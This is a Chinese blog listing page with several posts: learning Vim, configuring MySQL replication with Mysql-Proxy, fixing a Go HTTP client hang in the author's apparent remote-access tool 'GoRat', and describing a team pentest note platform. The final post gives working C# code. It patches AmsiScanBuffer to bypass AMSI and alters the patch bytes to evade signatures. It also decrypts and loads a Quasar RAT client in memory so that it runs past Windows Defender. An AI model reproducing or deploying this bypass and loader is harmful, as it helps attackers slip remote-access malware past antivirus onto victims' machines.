Cond0r 发布的文章

Vim学历之路

最近闲来无事,想学习一下vim的使用;之前在服务器上编辑文件大部分都是使用的nano进行编辑。远程开发基本也是vscode+remote SSH插件进行开发,其实体验已经非常棒了,但是始终就是觉得不够cool,加上下次出门的话就可以只待一个ipad+键盘,装个ish,使用vim配合sshfs进行远程开发/维护也方便一些。

学习过程是痛苦的,vim的快捷键可太多了,一开始直接去看了SpaceVim,确实炫酷,但是感觉根本用不起来;可能是因为对vim压根没一个概念,然后去看了俩本书《Vim 8文本处理实战》,《Vim实用技巧》,看完之后总算对vim有一个概念了。

然后用原生Vim按照《Vim 8文本处理实战》中所写的配置挨个配置了一遍,代码补全倒是折腾了一会其他还算顺利,快捷键实际用起来除了hjkl不顺手,其他的还算适应的快。

然后去mooc找到个不错的视频,跳着看了大概2-3集,巩固了一下基础知识:
Vim快速增删改查
https://www.imooc.com/video/19450
Vim快速移动大法
https://www.imooc.com/video/19449
Vim多文件操作
https://www.imooc.com/video/19452

最后算是能上手了,最后重新装会SpaceVim,发现瞬间就能明白他的概念和操作模式了,映射了一些比较常用的快捷键,采用空格键作为触发键,还是很方便的。

-w1920

最后总结了一个自己的vim操作的思维导图

记录一次Mysql主从与Mysql-Proxy读写分离配置

首先环境如下

IP类型
10.255.0.1Master
10.255.0.2Slave
10.255.0.3Proxy

目前208上已经运行一个业务Mysql,并且大约有20G左右的数据量,因为读写效率低下的问题,所以加了一台新的机器做读写分离。

配置修改

首先要对俩台mysql的配置文件进行修改,分别要设置server-id
Master在原有配置上增加配置,一些需要优化的参数可以自己调整,比如选用mixed还是row等模式

[mysqld]
log-bin=mysql-bin #开启二进制日志
server-id=1 #设置server-id
binlog-do-db = jd # 需要同步的数据库

Slave增加一行

[mysqld]
server-id=2 #设置server-id

默认my.cnf可能会默认设置一个server-id,需要找到并修改他

Master配置

导出数据

正常下数据导入是在Master机器上进行锁表,然后导出数据,然后在解锁;这里说另一种方法,就是导出的时候增加--master-data=2参数,这样在导出的文件中就会记录mysql-bin与pos参数的值。

mysqldump --skip-lock-tables --single-transaction --flush-logs --hex-blob --master-data=2 -u root -p db > db.sql

存储的参数信息大致如下

--
-- Position to start replication or point-in-time recovery from
--

-- CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000307', MASTER_LOG_POS=120;

--

增加同步用户

#创建用户
CREATE USER 'repl'@'10.255.0.2' IDENTIFIED BY 'passwd';
#分配权限
GRANT REPLICATION SLAVE ON *.* TO 'repl'@'10.255.0.2';
#刷新权限
flush privileges;   

Slave配置

创建账户与数据库

首先需要创建一个同名数据库与master同名的账户密码,比如数据库的名字是db,用户是db密码是pass,需要创建一个完全相同的即可。

导入数据

mysql -u db -p db < db.sql

链接Master

 CHANGE MASTER TO
        MASTER_HOST='10.255.0.1',
        MASTER_USER='repl',
        MASTER_PASSWORD='password',
        MASTER_LOG_FILE='mysql-bin.000307', # 这里写导出的sql中的参数
        MASTER_LOG_POS=120; # 这里写导出的sql中的参数
start slave; # 开启同步

然后执行一下

show  slave status\G

看看是否有什么错误,如果一切正常,大概可以看到这样的输出
-w762

Mysql-Proxy配置

安装

wget https://cdn.mysql.com/archives/mysql-proxy/mysql-proxy-0.8.5-linux-el6-x86-64bit.tar.gz
tar zxvf mysql-proxy-0.8.5-linux-glibc2.3-x86-32bit.tar.gz

tar zxvf mysql-proxy-0.8.5-linux-el6-x86-64bit.tar.gz
mv mysql-proxy-0.8.5-linux-el6-x86-64bit /usr/local/mysql-proxy
cd /usr/local/mysql-proxy
mkdir lua
mkdir logs
cp share/doc/mysql-proxy/rw-splitting.lua ./lua
cp share/doc/mysql-proxy/admin-sql.lua ./lua

配置文件

创建/etc/mysql-proxy.cnf文件,并写入

user=root
admin-username=db # 俩台机器相同的mysql账户密码
admin-password=123456 
proxy-address=0.0.0.0:3306 
proxy-read-only-backend-addresses=10.255.0.2:3306  # Slave机器
proxy-backend-addresses=10.255.0.1:3306 # Master机器
proxy-lua-script=/usr/local/mysql-proxy/lua/rw-splitting.lua  # 读写分离脚本
admin-lua-script=/usr/local/mysql-proxy/lua/admin-sql.lua
log-file=/usr/local/mysql-proxy/logs/mysql-proxy.log 
log-level=info 
daemon=true
keepalive=true

实际使用时Mysql-proxy不支持注释,需要删除所有中文注释使用。

负载设置

打开/usr/local/mysql-proxy/lua/rw-splitting.lua文件
修改

if not proxy.global.config.rwsplit then
        proxy.global.config.rwsplit = {
                min_idle_connections = 2, //单机最小链接,默认4
                max_idle_connections = 4, // 最大链接,默认8

                is_debug = false
        }
end

启动

/usr/local/mysql-proxy/bin/mysql-proxy --defaults-file=/etc/mysql-proxy.cnf

结束

到这里就已经配置结束了,可以直接链接10.255.0.3这台机器,会根据你的读写语句自动切换到不同的机器,这样就可以不需要去修改任何业务代码实现读写分离了。

Golang HTTP Client挂起问题

在写GoRat的时候发现出现了一个奇葩的问题,主机上线2-3小时之后必定掉线,开了dlv挂着差不多1天左右,终于发现了问题所在
请求函数如下

func dialTimeout(network, addr string) (net.Conn, error) {
    conn, err := net.DialTimeout(network, addr, time.Second*POST_REMOTE_TIMEOUT)
    if err != nil {
        return conn, err
    }
    tcp_conn := conn.(*net.TCPConn)
    tcp_conn.SetKeepAlive(false)

    return tcp_conn, err
}
func SendRequest(action string, data url.Values, sendType string) string {
    transport := http.Transport{
        Dial:                  dialTimeout,
        DisableKeepAlives:     true,
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    }
    client := &http.Client{
        Transport: &transport,
    }
    ...
    req.Header.Add("X-From", Host)
    resp, err := client.Do(req) //总是卡在这里
    ...
}

最后调试发现,是卡在TLS握手包的位置,最后查资料发现,在go1.1之前,可以通过Dial来控制全局的超时时间
-w823

最早是用go1.1开发的,后来切换到了1.5,超时时间需要在http.Transport中单独设置或者使用DialContext进行设置
如果单独设置超时时间,常用的分别有如下几种类型的超时

//TLS握手超时时间,默认是0,既用不超时
TLSHandshakeTimeout:   time.Duration(30) * time.Second,
//头响应时间,默认是0,既用不超时
ResponseHeaderTimeout: time.Duration(30) * time.Second,
//链接释放时间
IdleConnTimeout:       time.Duration(30) * time.Second,
//Expect头超时时间
ExpectContinueTimeout: time.Duration(30) * time.Second,

然后只需要把前三个的超时时间设置一下 即可修复改bug
其实主要是因为使用了cloudflare的cdn,他的一些ip是被墙或者链接速度比较慢,导致了TLS握手的时候链接挂起。
不使用cdn或用国内访问稳定的CDN就可以了。

求索 - 协同渗透笔记平台

说起来渗透的过程就是围绕资产和碎片化信息进行整理归纳,测试的过程,那么在多人协同的时候最大的问题就是信息同步效率低导致的重复劳动,某个站可能ABC全部都扫一遍子域名,端口,漏洞等,导致浪费的不必要的时间,降低的工作效率。

求索笔记就是为了解决我们团队内部的协同渗透而开发的,他有四个核心功能:

  • 1 踩点
  • 2 笔记
  • 3 协同
  • 4 报告

1 踩点

更多的时候我们笔记还是用的myBase,通讯内网自建的聊天服务,通常一个目标几个人会重复操作,现在使用求索即可,先添加一个目标
-w1628

其中支持3个模块,分别是子域名,同服,C段扫描,对应的运行逻辑是
-w665

踩点之后的数据结构如下
-w509

漏扫的结果会在资产下方进行展示
-w387
漏洞的细节会在旁边的笔记框内进行展示
-w955

并且支持配置漏洞TG的机器人推送
-w626

2 笔记

子节点类型有5种

  • 域名
  • IP
  • 端口
  • 漏洞
  • 目录扫描

然后就可以在节点中进行记录笔记/资料等信息,支持粘贴图片
-w1388

编辑完成之后用ctrl+s进行保存
可以在任意节点下方继续创建笔记
-w387

支持无限下级

-w428

第一行的前20个字符会作为文件夹的标题

-w657

3 协作

可以把任意节点邀请其他用户进行协作,下级节点也会一并分享,选中需要邀请的节点,点击上方的邀请按钮,或者右键选择邀请协作也可以
-w459

在输入框中输入对方用户名,下面的下拉框会自动更新出匹配的用户
-w687

选中之后点击share即可
-w605

同时也支持公开分享功能,但是公开分享只支持单页分享
-w393

分享可以选择是否需要密码和是否只读
-w531
-w568

分享完成之后复制分享地址,无需登录即可查看与编辑
-w1035
-w1035

4 报告

支持一键导出资产为markdown,支持用markmap生成思维导图
选择需要导出的资产,右键选择导出markdown
-w385
-w600

如果在弹出的提示中点击确认,则跳转到markmap生成思维导图
-w691

使用C#动态加载与ASMI Bypass绕过Windows Defender

1. 什么是C#的动态加载

C#允许使用Assembly动态加载DLL/EXE等可执行文件,并且可以调用其中指定的函数,写法如下


Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });

其中加载支持从文件或从内存加载,分别有如下实现
-w1181
为了防止文件落地,我们一般只使用内存加载,因为如果你的payload被杀,也无法通过文件进行加载,如果使用内存加载,我们就可以先对Payload进行一定的混淆加密,这样在运行之前都不会被查杀

2. 什么是ASMI与如何Bypass

ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀,并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass,只需要hook这个result,让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现,直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }
}

但是因为该库可能使用的人比较多,导致该dll会被查杀,我们只需要修改

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

把其中的数组顺序改一下,然后在输入的时候还原回去即可
少做修改如下

    public static void PatchNew()
    {
        byte[] patch = new byte[8];
        patch[0]= 0xB8;
        patch[1] = 0x57;
        patch[2] = 0x00;
        patch[3] = 0x07;
        patch[4] = 0x80;
        patch[5] = 0xC2;
        patch[6] = 0x18;
        patch[7] = 0x00;
        //0xB8, , , , , , , 

        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

3. 用起来

首先把ASMIBypass编译出来,最后会生成一个DLL文件,我们新建一个C#的项目工程,可以直接引用这个dll文件,也可以通过我们前面说的动态调用进行执行,我这里对这个DLL进行了简单的混淆,并且把它加到资源文件中,最后通过动态调用他执行Bypass。
-w413
其中调用ASMIBypass部分代码如下

    public static void LoadBypassDll()
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Assembly myAssem = Assembly.GetEntryAssembly();

            string asb = Resource1.ASBBypass_dll;
            string result = Dencrypt(asb);

            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            var theType = assem.GetType("HelloWord");
            var c = Activator.CreateInstance(theType);
            var method = theType.GetMethod("PatchNew");
            method.Invoke(c, null);
        }    

然后把我们的马也进行混淆加密,同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端
-w349
然后动态调用其入口函数

    public static void LoadShellCode()
    {
            string result = Resource1.install2_exe;
            result = Dencrypt(result);
            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            MethodInfo main = assem.EntryPoint;
            main.Invoke(null, new string[] { null });
    }

剩下我们只需要在程序运行的时候先调用Bypass,在运行我们的马即可

namespace ASMIbypassM
{

    class Program
    {
        static void Main(string[] args)
        {
            Bypass.LoadBypassDll();
            Bypass.LoadShellCode();
        }
    }
}

最后运行毫无压力
-w1689